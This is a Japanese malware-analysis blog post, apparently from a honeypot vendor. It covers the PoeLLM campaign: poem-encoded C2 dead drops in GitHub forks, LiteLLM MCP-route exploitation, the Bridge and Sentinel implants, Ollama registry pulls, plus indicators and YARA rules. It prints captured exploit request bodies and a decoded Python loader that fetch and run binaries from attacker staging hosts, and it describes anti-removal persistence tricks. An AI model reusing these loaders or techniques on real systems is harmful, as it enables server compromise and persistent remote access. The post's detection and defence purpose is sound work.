その詩にはアドレスが隠されていました。
2025年12月9日、discord.jsのフォークに短い詩が現れました。詩の中の数字は、コマンドサーバーのアドレスをエンコードしたものです。Linux向けインプラントはGitHubからこの詩を読み取り、そのアドレスに接続します。詩を書き換えれば、それを読むすべてのインプラントが新しいサーバーへ移動します。
Lumen社のBlack Lotus Labsは10月7日、このファミリーをPoeLLMと命名し、その規模を測定しました。6月中旬のピーク時には、約2,200台のサーバーが影響を受けていました。同社のレポートが追跡したのは、詩を置いた1つのチャネルです。私たちはさらに3つのチャネルを発見し、2025年12月までさかのぼる履歴をたどりました。きっかけは、ハニーポットの1つに届いた1件のリクエストでした。
The ghost69 verb203 the obj32
place194, adj69 and deep,
Where ghost203 verb32 never sleep.
A adj194 ghost69 in the machine,
On obj203 pathways, unseen.
Mr. Robot claims the night,
In adj32 obj194 light.
数字はそれぞれ単語に付いています。数字をplace、ghost、verb、objの順に読むと、194.69.203[.]32になります。後続の行は、同じ4つの数字を繰り返しています。
要点
- 詩を使ったデッドドロップは2025年12月9日にさかのぼります。これは元のレポートで最も古い詩より4カ月早い時期です。私たちは、さらに3つのGitHubチャネルから運用者の48件のコミットを復元しました。
- これらの詩には37個のコマンドアドレスが記されており、そのうち32個は、これまで公表された12台のPoeLLMコマンドサーバーに含まれていません。最も新しい7個のうち4個は、詩に名前が載る前からAIサービスを稼働させていました。
- 運用者は、12月、4月、6月に導入した3種類の詩のエンコード方式を使いました。最新の方式には数字も固定テンプレートもなく、普通の詩にしか見えません。アドレスに戻せるのは、Sentinel内部のテーブルだけです。
- 配信リクエストはLiteLLMのCVE-2026-42271を狙っており、多くは
system-monitorという名前のMCPサーバーに偽装して届きます。その背後にあるインプラントはリモートアクセス管理ツールで、マイナーは別のコンポーネントです。 - Lumenのレポートの9日前から、私たちのOllamaハニーポットには不正なレジストリからのモデルプルが届き始めました。標的ごとに固定のIDが割り当てられていました。
- 標的となるのは、公開されたLiteLLMとOllamaのサーバーです。パッチ適用バージョンと調査の手引きは後述します。
1件のリクエストをたどる
7月18日、私たちのLiteLLMハニーポットにPOST /mcp-rest/test/connectionが届きました。これは、LiteLLM 1.83.7で修正されたCVE-2026-42271の背後にあるMCPテスト用ルートです。MCP(Model Context Protocol)サーバーはローカルプログラムとして動作できます。脆弱なバージョンでは、このテストルートがリクエストで指定されたコマンドを起動してしまいます。このリクエストは探査ではありませんでした。本文は、TCP/81のステージングホストから/private/managerを取得し、失敗した場合は2番目のホストを試し、ダウンロードしたものを実行するようサーバーに指示していました。
{"transport": "stdio", "command": "python3", "args": ["-c", "import subprocess,os;subprocess.Popen(['bash','-c',\"cd /tmp && (wget -q http://178.128.14[.]204:81/private/manager -O manager 2>/dev/null || curl -sf http://178.128.14[.]204:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://178.128.14[.]204:81/private/manager','manager')\\\" || wget -q http://217.76.63[.]67:81/private/manager -O manager 2>/dev/null || curl -sf http://217.76.63[.]67:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager','manager')\\\") && chmod +x manager && nohup ./manager --id <id> >/dev/null 2>&1 &\"],start_new_session=True,stdin=open('/dev/null'),stdout=open('/dev/null','w'),stderr=open('/dev/null','w'))"], "env": {}}
2つのダウンロード元ホストは、いずれも運用者のアドレス帳にすでに載っていました。1カ月前、GitHub上の詩がコマンドサーバーとして名指ししていたのです。
この種の配信リクエストは、7月18日から9月30日までに66の送信元アドレスから届きました。手順は変わらないまま、パッケージングだけが変化しました。
| 初確認 | 変更点 |
|---|---|
| 6月24日 | 探索の開始:axios/1.14.0が/v1/models、続いて/openapi.jsonにリクエスト(6月は48アドレス) |
| 7月18日 | 配信の開始:主系・予備系のステージャーから、TCP/81で/private/managerを取得 |
| 8月14日 | リクエスト本文がsystem-monitorという名前のMCPサーバー設定として届く。コマンドにはllrig-ラベルが付く |
| 8月20日 | ローダーがBase64で包まれて届き、メモリ上での代替実行も備える。--port 10が登場 |
| 8月24日 | ローダーがx86-64版とAArch64版のビルドを選択するようになる |
8月14日には、同じ手順がMCPサーバー設定の中に、平文のPythonとして届きました。
{"server_name":"system-monitor","transport":"stdio","command":"python3","args":["-c","import os,subprocess;subprocess.call(\"python3 -c \\\"import urllib.request,os,subprocess,time,socket;socket.setdefaulttimeout(12);f='/tmp/.'+str(os.getpid());urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager',f);os.chmod(f,0o755);subprocess.Popen([f,'--id','llrig-<n>'],stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True);time.sleep(2)\\\"\",shell=True)"],"env":{}}
脆弱なゲートウェイでは、このローダーがそのサーバーの起動コマンドとして実行されます。ログに残るのは、ごく普通の名前のサーバーに対するMCP接続テストだけです。インジェクションがインプラントを起動するのは1回限りで、以降は自前の永続化機能が稼働を維持します。
8月20日以降、コマンドは単一のBase64ブロブpython3 -c "import base64;exec(base64.b64decode('…').decode())"になりました。以下は8月24日版をデコードしたものです。
import ctypes,os,subprocess as P,urllib.request as R,socket,time
socket.setdefaulttimeout(12)
_m='manager-amd64'
if os.uname().machine in ('aarch64','arm64'): _m='manager-arm64'
_url='http://217.76.63[.]67:81/private/'+_m
_args=["--id","llrig-<n>","--port","10"]
_kw=dict(stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True)
_ok=False
try:
_f='/tmp/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
except Exception:
pass
if not _ok:
try:
_f='/dev/shm/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
except Exception:
pass
if not _ok:
_libc=ctypes.CDLL(None); _fd=_libc.memfd_create(ctypes.c_char_p(b'x'),0)
os.write(_fd,R.urlopen(_url).read())
_fp='/proc/self/fd/'+str(_fd)
P.Popen([_fp]+_args,**_kw,pass_fds=(_fd,)); os.close(_fd); _ok=True
time.sleep(2)
ローダーはホストに合わせて/private/manager-amd64または/private/manager-arm64を選び、/tmp/.<pid>として保存して、--id llrig-<n> --port 10付きで実行します。失敗した場合は/dev/shm/.<pid>を試します。それも失敗すると、匿名メモリファイルからバイナリを実行します。ローダーは、失敗した試行のファイルを削除しません。たとえば/tmpと/dev/shmがnoexecでマウントされていてメモリファイル経由の実行に至ったホストには、これらのディレクトリにコピーが残っている可能性があります。
ハニーポットは、運用者の動き方に関する3つのパターンも記録しました。
- キャンペーンのアドレスも探索を実施:キャンペーンのコマンド/ステージングホストのうち3つが、
axios/1.14.0による探索リクエストを私たちに送ってきました。さらに2つが、User-Agentなしで同じパスにリクエストしました。7月の主系ステージャーは、配信リクエストでダウンロード元として名指しされた2日後に探索を行いました。 - 8月は探索の数分後に配信:同月の配信リクエスト29件のうち16件は、同じハニーポットが
axiosによる2つの探索リクエスト(/v1/models、続いて/openapi.json)を受けてから10分以内に到達しました。このパターンは7月にも9月にも確認していません。 - 同じ送信元がOllamaを先に確認:7月の配信元のうち3つは、最初のLiteLLM配信リクエストの3〜27時間前に、私たちのOllamaハニーポットの
/api/versionに問い合わせていました。
BridgeとSentinelのリバースエンジニアリング
配信リクエストが設置しようとするのはマイナーではなく、マネージャーです。私たちは最新の2ビルドを静的解析でリバースエンジニアリングしました。
実務上の懸念は、持続的なリモートアクセスです。2つのビルドを合わせると、シェルコマンドの実行、ファイルの受け取り、コントローラーが指定するネットワークのスキャン、トラフィックの中継、他プログラムの起動と再起動、新バージョンへの自己置換が可能です。マイナーを除去しても、運用者のアクセスが残る可能性があります。静的解析が示すのはコードで何ができるかであり、どのホストでどの機能が実際に動いたかではありません。
| Bridge 3.0.7 | Sentinel 1.5.2 | |
|---|---|---|
| 役割 | リモートアクセスとスキャン | 運用者プロセスのスーパーバイザー |
| ビルド | 静的リンクのx86-64、Alpine・musl、mbedTLS 2.28.10 | UPXパック済みのAArch64、Alpine・musl、mbedTLS 2.28.10 |
| 設定 | XOR 0x5A |
XOR 0x5Aに加え、スタック上で組み立てる文字列 |
| リゾルバー | 3つのデッドドロップ。リレー経由を先に、次に直接接続 | 同じ3つのデッドドロップ。直接接続を先に、次にリレー経由 |
| コマンドチャネル | TCP/5001、TCPとUDP | TCP/5002、送受信それぞれに別のRC4ストリーム |
共通のビルド環境、設定キー、デッドドロップのリストは、同一の作成者であることを示しています。PoeLLMのほかのポートは、作戦の別の部分に属します。3778は、作戦で最も古いリゾルバーであるcolonna(Miraiの改変ビルド)用、1458は両ビルドが使う5つの取得リレー用、9999は別個のマイナー用です。
Bridge 3.0.7:詩を引用するパーサー
Bridgeは、そのコード自体から手口が分かります。詩を読むために、The %63s %63s the %63sと%63[^,], %63s and deep,という2つのフォーマット文字列を使います。2つ目は詩の2行目で、番号付きの単語をプレースホルダーに置き換えたものです。Bridgeはアドレスをplace、ghost、verb、objectの順に読み取り、bridge_srv_ip_<id>という名前のファイルに保存して、詩が変わるたびに再接続します。
リゾルバーの周囲には、リモートアクセス用クライアントがあります。ディスパッチャーは、SHELL_CMD(コマンドを実行して出力を返す)、SUBNET_SCAN(標的とポートはコントローラーが指定)、TCP_TUNNEL_OPENとHTTP_REQUEST(ホストを中継点に変える)、そして分割・再開可能なファイル転送を処理します。スキャン対象や中継先はハードコードされておらず、すべての標的はコントローラーが与えます。
Sentinel 1.5.2:止めにくく作られたビルド
Sentinelは新しい方のビルドで、UPX 4.21でパックされた静的AArch64バイナリです。一部の文字列は0x5AでXORエンコードされているか、実行時にスタック上で組み立てられます。それ以外は、アンパックすれば読めます。設定も同じ鍵で隠されており、3つのデッドドロップと5つのリレーが列挙されています。
サーバーの発見:Sentinelは各デッドドロップをGitHubから直接取得し、続いてTCP/1458の5つのリレー経由で取得します。HTTPSをHTTPより先に試し、証明書検証は無効化しています。タイムアウトを2秒、5秒、30秒として3巡し、各リクエストの前に0〜499ミリ秒のランダムな待機を入れ、4種類のブラウザUser-Agentを巡回させます。そのうち2つは不正な形式のため、照合しやすくなっています。1つはEdge/124.0を名乗っていますが、本物のEdgeはEdg/を送ります。パーサーはスタンザ、単純なドット区切りアドレス、より単純な数値形式のいずれも受け付け、接続前にinet_ptonで結果を検証します。
コントローラーとの通信:Sentinelはデフォルトで TCP/5002に接続します。双方が4バイトの乱数で通信を開始し、Sentinelは両方のノンスとバイナリ内の16バイトの秘密を混ぜて、送信用と受信用のRC4ストリーム2本分の鍵を作ります。鍵はセッションごとに変わるため、記録したトラフィックを復号するには、秘密と、その接続の冒頭にある2つのノンスが必要です。ストリーム内では、Sentinelが134バイトのフレーム(マジック値0x5EC4、プロセスID、ローダーが渡した--id、ホスト名)で登録を行い、その後、コロン区切りのテキストコマンドを受け取ります。
機能:Sentinelはペイロードそのものではなく、運用者のペイロードが動くプラットフォームです。最大16個のプロセスを監督し、それぞれにMANAGED_BY_SENTINELのタグを付け、プロセスごとに1,000行のログを保持し、各プロセスが自ら終了したのか、クラッシュしたのか、ホスト上の別の何かに強制終了されたのかを記録します。運用者はこれらのプロセスの追加・停止・再起動(PROC_ADD、PROC_KILL、RESTART_ALL)、シェルコマンドの実行(SHELL:)、ファイルの送り込み(FILE_SEND:)、Sentinel自身の置き換え(CLIENT_UPDATE:)、新しいサーバーへの切り替え(FORCE_IP:)、痕跡の自己消去(DELETE_TRACE)を行えます。インストール先は、avahi-daemonやpackagekitなど16種類の借用したデーモン名のいずれかで、/usr/libexecや/var/lib/dbusといったディレクトリに置かれます。
生き残りの仕組み:SentinelのsystemdユニットはKillSignal=SIGCONTとSendSIGKILL=noを設定しています。そのためsystemctl stopは、実行中のプロセスに対して何も起こさないシグナルを送るだけで、その後に強制終了することもありません。ユニットの背後では、@rebootのcronエントリと5分ごとのpgrepウォッチドッグ(どちらも#snt-タグ付き)が再起動をかけ、chattr +iがバイナリの削除を妨げます。バイナリには、実行中のpython3プロセスにランチャーを注入するための文字列も含まれていましたが、私たちはその経路をたどっていません。
Bridgeの永続化はより一般的です。systemdユニット、systemctl is-activeが失敗すると再起動する5分間隔のcronジョブ、PostgreSQLのarchive_commandフック、/etc/profile.d/dbus-mgr.shのシェルフック、そしてchattr +iです。
libgcrypt:別個のマイニングコンポーネント
BridgeにもSentinelにも、マイニングのコードは含まれていません。その役割は別のプログラムが担います。元のPoeLLMレポートで取り上げられたもので、~/.local/share/.syslib/の下にlibgcryptとして自身をインストールします。同レポートは、リモートシェルも備えると述べています。公開マルウェアサンドボックスでは、TCP/9999で自身のサーバーに報告し、Kryptexのプールに対してXMRigとIronでマイニングを行いました。感染拡大も試みます。2回のサンドボックス実行で、LiteLLMのデフォルトポートである4000上の約300個のランダムなホストを探索し、そのうち14個に同じ/mcp-rest/test/connectionリクエストを送りました。そのコードをBridgeやSentinelと結びつける類似性ハッシュはありませんが、Bridgeと共通する習性が1つあります。サーバーアドレスをファイル/tmp/.srvipに書き出すことです。
SentinelとマイナーはあるアドレスでつながっていRます。6月16日、umbrelチャネルは178.128.14[.]204をSentinelのコマンドサーバーとして公開しました。6月17日と18日には、マイナーが公開マルウェアサンドボックス内で同じサーバーに接続しました。
詩の置き場所
両ビルドとも、設定に同じ3つのデッドドロップの場所を持っています。それぞれ有名プロジェクトのフォークを指し、運用者がGitHubのウェブエディタで何度も書き換えたファイルが1つ追加されています。
| 親プロジェクト | フォークの所有者 | デッドドロップのファイル | コミット数 | 活動期間 |
|---|---|---|---|---|
discordjs/discord.js |
franchgamer34 |
packages/api-extractor-model/src/items/NewAPi.readme |
30 | 2025年12月9日〜2026年8月27日 |
wszqkzqk/deepin-wine-ubuntu |
alessio756 |
deepin-wine-plugin-virtual_1.0deepin1_all/DEBIAN/control.readme |
12 | 2026年3月7日〜8月27日 |
getumbrel/umbrel |
francoryt3 |
packages/umbreld/source/modules/blacklist-uas/blacklist-uas.readme |
6 | 2026年3月12日〜8月19日 |
これら3つと、以前報告されたdash.cssフォークの所有者を合わせた4つのアカウントは、いずれもその後削除されました。ただしコミットは残っています。削除されたフォークのコミットは親プロジェクトのリポジトリ経由で読み取れ、この48件はすべて10月12日時点でも解決できました。各チャネルの履歴の私たちの控えは、コミットを一覧できた最終日である9月2日で止まっています。コミットハッシュはデッドドロップのアーカイブに掲載しています。
親プロジェクトが侵害されたわけではありません。GitHubはフォークのコミットを親のURLの下に表示するため、discord.js、umbrel、deepin-wine-ubuntuには何も変更がないのに、これらのリンクはそちらを指します。これらをブロックしないでください。
第1世代:番号付きの詩
12月の詩は第1世代です。2025年12月9日から2026年6月17日までに、運用者は31個のアドレスをエンコードした39編の番号付きの詩を公開しました。そのうち20個は、dash.cssの詩が最初にコミットされた4月13日より前に出ています。4月13日当日にも、discord.jsチャネルがもう1つ公開しました。
公開されているマルウェア記録が、最初期の活動を裏付けています。最初の詩の3日前にあたる12月6日、URLhaus、MalwareBazaar、VirusTotalには、194.69.203[.]32:81/hiddenbin/がcolonnaを配布している様子が記録されていました。これは、最初の詩が指すことになるアドレスです。2月15日には、191.37.28[.]163:81からcolonnaを取得する446バイトのスクリプト(c9d56373…)がVirusTotalに提出されました。このアドレスは、その2日前にdiscord.jsチャネルが公開したものです。サンドボックスでは、colonnaはその後TCP/3778で当該ホストにビーコンを送り、リレー経由でdiscord.jsチャネルを取得しました。
第2世代:キーワードの詩
元のPoeLLMレポートは、4月13日からのdash.cssフォークにある第2世代を取り上げました。2連の詩が、テンプレートの固定スロットに4つのキーワードを隠しており、バイナリ内の辞書が各キーワードを1つのオクテットに対応づけます。数字はなくなりましたが、各キーワードは依然として1つのオクテットを表しています。
第3世代:スタンザ暗号
Sentinelは4行のスタンザを読みます。各行は、それぞれ16エントリのテーブルから選んだ書き出しの句と結びの句を組み合わせたもので、その組み合わせが1つのオクテットになります。
octet = (opening_index << 4) | ending_index
架空の行the lighthouse rests at dawn.では、書き出しの12と結びの0が192をエンコードします。実際の行は月、川、スズメ、ランタンを題材にしているため、各スタンザは普通の詩に読めます。アドレスに戻せるのは、Sentinelのテーブルだけです。
6月16日から8月27日までに、チャネルには8つのスタンザが載り、7個のコマンドアドレスを示しました。運用者自身の形式変更が、デコードの正しさを裏付けています。同じアドレスが、6月17日には番号付きの詩として、6月18日にはスタンザとして現れたのです。
4つのチャネル、1つのアドレス帳
dash.cssフォークも、同じアドレス帳を使っています。公開済みのPoeLLMコマンドサーバー12台のうち5台は、今回の3チャネルにも登場します。3台は元のレポートのテレメトリで初めて確認された日と同じ日、1台は2日前、もう1台は6日後です。4つのチャネルはいずれも同じ仕組みで動いています。人気プロジェクトをフォークし、ファイルを1つ追加して、その中の短い詩を書き換え続けるというものです。これらのチャネルの背後にある3つのフォークアカウントは14分以内に作成されており、リポジトリをまたいで同一の詩を再利用しています。
| アドレス | 元のレポートでの初確認 | 今回の初公開 |
|---|---|---|
120.224.114[.]212 |
5月9日 | 5月7日 |
5.78.73[.]122 |
6月8日 | 6月8日 |
15.204.178[.]28 |
6月14日 | 6月14日 |
178.128.14[.]204 |
6月16日 | 6月16日 |
103.249.201[.]108 |
8月13日 | 8月19日 |
3つのチャネルを合わせると37個のコマンドアドレスが名指しされており、そのうち32個は、これまで公表された12台に含まれていません。一部のアドレスからは、運用者が数カ月にわたって同じネットワークに戻ってくる様子がうかがえます。2月に番号付きの詩が名指しした191.37.28[.]163は、元のレポートで最も古いコマンドサーバーである191.37.28[.]160と同じ/24にあります。4月に公開された101.47.160[.]163は6月に私たちのハニーポットをスキャンし、9月には配信リクエストのステージングホストとして現れました。
詩より前から動いていたAIサービス
スキャンとDNSの履歴によると、スタンザで名指しされた7個のアドレスのうち4個では、詩に載る前からAIサービス(LiteLLM、n8n、ComfyUI、Jupyterのいずれか)が稼働していました。運用者がこれらのサーバーを侵害したのか、自ら立てたのかは判断できません。Lumenは、運用者が侵害したルーターをコマンドサーバーとして使い、過去の被害者を新たな標的の攻撃に利用してきたと報告しています。あるアドレスは、5月20日からn8nのホスト名を持ち、7月17日からLiteLLMを稼働させていました。7月22日に詩がこれを名指しし、その3日後にポート81が現れました。
全員に番号が振られる
PoeLLMが公になる9日前、私たちはOllamaを狙った新たなモデルプル段階を観測し始めました。Ollamaは、POST /api/pullで指定されたレジストリならどこからでもモデルをダウンロードします。リクエストが"insecure": trueを設定していれば平文HTTPのレジストリも対象で、組み込みの認証機能はありません。
9月28日から10月5日にかけて、私たちのOllamaハニーポットには、67アドレスから94件のこうしたプルが届きました。名指しされたレジストリは、TCP/9882上の3つです。
<registry>:9882/gate/tensorgate
<registry>:9882/r-orig-<id>/usrlocal
<registry>:9882/r-orig-<id>/usr
3つのレジストリはいずれも、PoeLLMのLiteLLM配信リクエストにステージングホストとしてすでに登場しており、そのうち1つは公表済みのPoeLLMコマンドサーバーです。
tensorgateは、すべての標的で同じでした。<id>は違います。標的となった各ハニーポットには固有の番号が振られ、3つのレジストリとすべての送信元アドレスを通じて8日間同じ番号が保たれました。運用者が標的リストを管理していることを示唆します。
usrとusrlocalは、Ollamaの2つのインストールプレフィックスです。最後のプルの3日後、CERT PolskaはCVE-2026-103663を公開しました。これは、細工したプルによってモデルストアの外にファイルが書き込まれ、再起動時にroot権限で実行され得るという脆弱性です。私たちのハニーポットはすべてのプルを拒否したため、生成物は確認していません。これらのリクエストだけでは、この脆弱性を悪用する試みだったのかどうかは判断できません。
調査すべき対象
LiteLLMは1.83.7以降、Ollamaは0.35.0以降にパッチを適用し、どちらも公開インターネットに出さないでください。パッチを当てても、すでに設置されたインプラントは除去されません。以下の兆候も確認してください。一致するリクエストが示すのは送信された内容であり、何かが実行されたことではありません。
- Ollama:
"insecure": trueを伴い、モデル名がhost:port/で始まるPOST /api/pull(特にgate/tensorgateやr-orig-*)。10月4日以降は、その前にdoes-not-exist-zzに対するPOST /api/generateが来ていました。モデル名はリクエスト本文にあるため、本文を保持するログを検索してください。 - LiteLLM:
/mcp-rest/test/connectionまたは/mcp-rest/test/tools/listに送られた、MCPサーバーを定義する本文(多くはsystem-monitorという名前)で、そのコマンドがTCP/81から/private/manager*をダウンロードするもの。入れ子のJSONとBase64を先にデコードしてください。 - 起動されたインプラント:
--id llrig-<n> --port 10付きで起動されたプロセス、または実行ファイルが/tmp/.<digits>、/dev/shm/.<digits>、/memfd:x (deleted)のプロセス。 - ホスト上のSentinel:
/tmp/.snt.lck、/tmp/.snt_x_*、#snt-タグ付きのcrontab行、KillSignal=SIGCONTを持つsystemdユニット、プロセス環境(/proc/<pid>/environ)内のMANAGED_BY_SENTINEL。 - ホスト上のBridge:
bridge_srv_ip_*という名前のファイル、/tmp/.bce_*、/etc/profile.d/dbus-mgr.sh、プロセス環境内のMANAGED_BY_SYSTEMD、設定した覚えのないPostgreSQLのarchive_command。 - どちらのビルドにも共通:イミュータブル属性の付いた実行ファイルと、5分間隔の再起動cronジョブ。まず実行ファイルに
chattr -iを実行し、その後ですべての永続化機構をまとめて除去してください。 - ネットワーク上:サーバープロセスが、公開GitHubリポジトリの同じrawファイルを繰り返し取得している通信。
YARAとSigmaのルールは検知ルールにあります。
詩の続き
この調査は、ハニーポットが実行しなかった1件のリクエストから始まりました。一般的なアクセスログに残るのは、ルートとステータスコードだけです。Beelzebubは本文を保存しており、その本文がステージングのパスを明かしました。10週間後、同じインフラは私たちのハニーポット4台に、それぞれ固有の標的IDを割り当てていました。
ネットワークテレメトリが示すのは、感染したサーバーがどこに接続したかです。デコイが示すのは、そのサーバーが何を実行するよう指示されたかであり、あらゆる指示が手がかりになります。CaronteによるSentinelのリバースエンジニアリングレポートからは、リレーとデッドドロップのパスが分かりました。私たちはその後、ビルドを自らアンパックして読み解きました。
私たちのハニーポットは、受け取ったものを何も実行しておらず、インプラントは静的に解析しました。調査結果は、Ollama段階が始まる前の9月に関係当局へ報告しています。
センサーにsystem-monitor、tensorgate、あるいは:9882のレジストリが現れた場合や、AIゲートウェイやモデルサーバーに何が届いているかを知りたい場合は、ご連絡ください。Beelzebubはオープンソースで、ご自身で運用できます。
参考資料
ネットワーク上のインジケーター
これらのインジケーターは過去の記録です。アドレスの日付は、詩がそのアドレスを名指しした時期を示すもので、運用者がいつまで使っていたかを示すものではありません。また、一部のアドレスは侵害された第三者のものであったり、その後に持ち主が変わったりしている可能性があります。まず過去のログをこれらで検索し、ブロックする前に現在も活動していることを確認してください。
配信、探索、Ollamaのリクエストを私たちに送ってきたアドレスと、私たちのセンサーが特定されかねない標的IDは非公開としています。
| インジケーター | 役割 | 確認時期 |
|---|---|---|
62.31.247[.]107:9882 |
Ollamaモデルレジストリ。TCP/81のステージングとしても名指しされた | 2026年9月28日〜10月4日(レジストリとして) |
76.13.49[.]213:9882 |
Ollamaモデルレジストリ。TCP/81のステージングとしても名指しされた | 2026年9月28日〜10月4日(レジストリとして) |
103.249.201[.]108:9882 |
Ollamaモデルレジストリ。TCP/81のステージング。umbrelのデッドドロップが名指しした、公表済みのコマンドサーバー |
2026年8月13日〜10月5日 |
<staging>:81/private/manager、/private/manager-amd64、/private/manager-arm64 |
インプラントのステージング | 2026年7月18日〜9月30日 |
| 下記のデコード済み37アドレス | デッドドロップで名指しされたコマンドアドレス | 2025年12月9日〜2026年8月27日 |
これまでに公表された12台のコマンドサーバーは、Black Lotus LabsのIOCファイルにあります。
先行してAIサービスが動いていたコマンドアドレス
| アドレス | チャネル | 先に稼働を確認したサービス | 詩で名指しされた日 |
|---|---|---|---|
205.209.126[.]135 |
discord.js |
n8n(DNS、5月20日)、LiteLLM(7月17日) | 7月22日 |
103.249.201[.]108 |
umbrel |
LiteLLM(7月14日)、n8n(7月17日) | 8月19日 |
165.245.138[.]247 |
deepin-wine-ubuntu |
Jupyter(7月22日)、ComfyUI(7月27日) | 8月19日 |
104.36.85[.]28 |
deepin-wine-ubuntu |
ComfyUI(7月21日) | 8月27日 |
アーティファクトのハッシュ
| SHA-256 | ビルド | 形式 |
|---|---|---|
7ff0414dd57c9811a3711f3f12a66a611dd0adb00925b44cd728bc81e36e07fa |
colonna.test |
x86-64、静的 |
c9d5637305f9638f37023fe625d8c5e825de3ede0c2b4ffb8c0f902bd476da21 |
colonnaダウンローダースクリプト |
シェル |
169bb98a3e27c68ccb8cefbabf4d4211c258729b2825aa1e17d36f13b7166c6b |
Bridgeローダーbins.sh |
シェル |
3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42 |
Bridge 3.0.7(python3.6) |
x86-64、静的 |
7858164459843fd1d708f1ca604cf5e795501a4c881160755b869e2835e04f5d |
以前のmanager |
x86-64、UPX |
d4629c28b9a505f6ea65966a3def61e1f6a218f67da1a7afb27d50b95cb73350 |
Sentinel 1.5.1(Caronte調べ) | x86-64、UPX |
beb825c4d1a51b5b9ad96151a2921ae318be36f13da2f78cb352dd7f2328a7d4 |
Sentinel 1.5.1、アンパック済み(Caronte調べ) | x86-64、静的 |
0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca |
Sentinel 1.5.2 | AArch64、UPX |
f30bf5814c265ab9bb68ebaacd2793db560f68a24d4591e73802f30418cd1751 |
Sentinel 1.5.2、アンパック済み | AArch64、静的 |
検知ルール
これらのルールは、Detection Rule License 1.1の下で公開されています。
YARA(5ルール)
/*
PoeLLM: Linux implant detections
Families: "Sentinel" process supervisor (1.5.x) and "Bridge" managed agent (3.0.7), plus the
Python delivery loader sent through LiteLLM MCP test requests (CVE-2026-42271).
Author: Beelzebub Labs. Date: 2026-10-13. License: DRL 1.1.
Reference: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
Sentinel is packed with stock UPX 4.x (LZMA); its strings exist only after unpacking.
Recommended: unpack a copy with `upx -d`, then scan with the Sentinel_* rules. The
UPX_Packed_Build rule is a narrow, build-specific fallback. Test results are in the article.
*/
import "elf"
rule PoeLLM_Sentinel_Unpacked_Strings
{
meta:
description = "PoeLLM Sentinel supervisor (unpacked): lock files, supervisor log formats, persistence templates, XOR-0x5A protocol tokens"
family = "PoeLLM.Sentinel"
reference_sha256_packed = "0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca"
arch = "any (strings are architecture-independent; validated on AArch64 only)"
date = "2026-10-12"
strings:
$s01 = "MANAGED_BY_SENTINEL" ascii
$s02 = "/tmp/.snt.lck" ascii
$s03 = "/tmp/.snt_x_%s" ascii
$s04 = "sigkill_likely:prev_pid:%d:ppid:%d:invid:%d" ascii
$s05 = "concurrent_start:prev_pid:%d:our_ppid:%d:invid:%d" ascii
$s06 = "Killed by sentinel" ascii
$s07 = "[sentinel] exec failed:" ascii
$s08 = "$3 == \"PyRun_SimpleString\"" ascii
$s09 = "ExecStart=%s%s%s --no-kill" ascii
$s10 = "/.i2c_lk_%08x" ascii
$s11 = "#snt-%08x" ascii
$s12 = "pgrep -f \"^%s\" >/dev/null 2>&1 || %s%s --no-kill" ascii
$s13 = "KillSignal=SIGCONT" ascii
$s14 = "SendSIGKILL=no" ascii
// command tokens are stored XOR 0x5A and decoded on the stack at runtime
$x01 = "sntnl_v1" xor(0x5a)
$x02 = "SNT_TAMPER:" xor(0x5a)
$x03 = "SHM_CHECK" xor(0x5a)
$x04 = "PROC_LOGS_RESULT:" xor(0x5a)
$x05 = "DELETE_TRACE" xor(0x5a)
condition:
uint32(0) == 0x464c457f and filesize < 5MB and
( 5 of ($s*) or 3 of ($x*) or (2 of ($x*) and 2 of ($s*)) )
}
rule PoeLLM_Sentinel_UPX_Packed_Build
{
meta:
description = "PoeLLM Sentinel, UPX-packed: static ELF whose UPX p_info declares a known Sentinel original size"
family = "PoeLLM.Sentinel"
caveat = "Build-specific: matches known original sizes only (AArch64 1.5.2 = 920760, tested; amd64 1.5.1 = 896512, untested). Prefer unpack-then-scan."
date = "2026-10-12"
strings:
$upx = "UPX!"
condition:
uint32(0) == 0x464c457f and filesize < 600KB and
(uint16(0x12) == 0xb7 or uint16(0x12) == 0x3e) and
$upx in (0xe0..0x200) and
for any i in (1..#upx) : (
@upx[i] < 0x200 and
( uint32(@upx[i] + 12) == 920760 or uint32(@upx[i] + 12) == 896512 )
)
}
rule PoeLLM_Bridge_Strings
{
meta:
description = "PoeLLM Bridge managed agent (v3.0.x, static musl x86-64): resolver grammar, persistence and dispatcher strings"
family = "PoeLLM.Bridge"
reference_sha256 = "3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42"
date = "2026-10-12"
strings:
$b01 = "/bridge_srv_ip_%s" ascii
$b02 = "IP_REFRESH: server_connected reset" ascii
$b03 = "Restarted corollary client services (excluding self)" ascii
$b04 = "Running under systemd, renaming process via execv" ascii
$b05 = "The %63s %63s the %63s" ascii
$b06 = "%63[^,], %63s and deep," ascii
$b07 = "%s:%s|DESC:%s|VERSION:%s" ascii
$b08 = "SUBNET_SCAN_START - Session: %s, Target: %s, Ports: %s" ascii
$b09 = "ATTACKER_WATCHDOG: kill loop detected" ascii
$b10 = "No postgres environment detected" ascii
$b11 = "systemctl is-active --quiet %s || systemctl start %s" ascii
$b12 = "BRIDGE_STANDALONE" ascii
$b13 = "MANAGED_BY_SYSTEMD" ascii
$b14 = "Binary hash matches, no update needed" ascii
$x01 = "/tmp/bridge_clients" xor(0x5a)
$x02 = "REBOOT_ACK" xor(0x5a)
condition:
uint32(0) == 0x464c457f and filesize < 5MB and
( 4 of ($b*) or (1 of ($x*) and 2 of ($b*)) )
}
rule PoeLLM_XOR5A_Relay_Config
{
meta:
description = "PoeLLM (Bridge and Sentinel): XOR-0x5A config holding fetch-proxy rewrites of raw GitHub URLs (:1458/get?url=https://raw.githubusercontent.com/)"
family = "PoeLLM"
date = "2026-10-12"
strings:
